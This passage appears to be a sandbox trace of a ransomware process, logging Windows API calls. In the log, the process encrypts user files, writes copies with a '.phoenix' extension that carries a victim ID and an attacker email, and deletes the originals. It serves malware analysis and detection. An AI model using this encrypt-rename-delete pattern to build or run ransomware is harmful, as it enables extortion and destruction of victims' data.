	[0267.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0267.079] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.079] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3866, lpOverlapped=0x0) returned 1
	[0267.109] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3870, dwBufLen=0x3870 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3870) returned 1
	[0267.109] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3870, lpOverlapped=0x0) returned 1
	[0267.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0267.110] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.110] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.110] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.110] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.110] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.110] CloseHandle (hObject=0x2e8) returned 1
	[0267.110] CloseHandle (hObject=0x2b0) returned 1
	[0267.111] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\versionmanager\\versionlist.xml")) returned 1
	[0267.111] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.114] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=87) returned 1
	[0267.114] CloseHandle (hObject=0x2b0) returned 1
	[0267.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json")) returned 0x20
	[0267.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.114] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.114] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.115] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0267.115] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.115] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x57, lpOverlapped=0x0) returned 1
	[0267.116] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0267.116] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
	[0267.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0267.117] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.117] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.117] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.117] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.117] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.117] CloseHandle (hObject=0x2b0) returned 1
	[0267.117] CloseHandle (hObject=0x2e8) returned 1
	[0267.117] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json")) returned 1
	[0267.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.118] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14) returned 1
	[0267.118] CloseHandle (hObject=0x2e8) returned 1
	[0267.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json")) returned 0x20
	[0267.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.119] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.119] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.119] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0267.119] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.119] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe, lpOverlapped=0x0) returned 1
	[0267.120] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x10, dwBufLen=0x10 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x10) returned 1
	[0267.120] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x10, lpOverlapped=0x0) returned 1
	[0267.121] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0267.121] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.121] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0267.121] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.121] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0267.121] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.121] CloseHandle (hObject=0x2e8) returned 1
	[0267.121] CloseHandle (hObject=0x2b0) returned 1
	[0267.121] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json")) returned 1
	[0267.122] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.122] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14) returned 1
	[0267.122] CloseHandle (hObject=0x2b0) returned 1
	[0267.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json")) returned 0x20
	[0267.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.123] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.123] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.123] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.123] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0267.123] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.123] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe, lpOverlapped=0x0) returned 1
	[0267.124] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x10, dwBufLen=0x10 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x10) returned 1
	[0267.124] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x10, lpOverlapped=0x0) returned 1
	[0267.125] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0267.125] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.125] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0267.125] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.125] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112, lpOverlapped=0x0) returned 1
	[0267.125] CryptDestroyKey (hKey=0x151640) returned 1
	[0267.125] CloseHandle (hObject=0x2b0) returned 1
	[0267.125] CloseHandle (hObject=0x2e8) returned 1
	[0267.125] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyHistoryStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyhistorystats.json")) returned 1
	[0267.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.126] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=137997) returned 1
	[0267.126] CloseHandle (hObject=0x2e8) returned 1
	[0267.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml")) returned 0x20
	[0267.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.126] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.126] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0267.127] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.127] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x21b0d, lpOverlapped=0x0) returned 1
	[0267.261] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x21b10, dwBufLen=0x21b10 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x21b10) returned 1
	[0267.261] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x21b10, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x21b10, lpOverlapped=0x0) returned 1
	[0267.263] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0267.263] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.263] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.264] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.264] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.264] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.264] CloseHandle (hObject=0x2e8) returned 1
	[0267.264] CloseHandle (hObject=0x2b0) returned 1
	[0267.264] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msaccess.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msaccess.exe_rules.xml")) returned 1
	[0267.265] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.265] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.266] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=29411) returned 1
	[0267.266] CloseHandle (hObject=0x2b0) returned 1
	[0267.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml")) returned 0x20
	[0267.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.266] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.266] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.266] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.266] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.267] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0267.267] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.267] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x72e3, lpOverlapped=0x0) returned 1
	[0267.304] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x72f0, dwBufLen=0x72f0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x72f0) returned 1
	[0267.304] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x72f0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x72f0, lpOverlapped=0x0) returned 1
	[0267.305] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
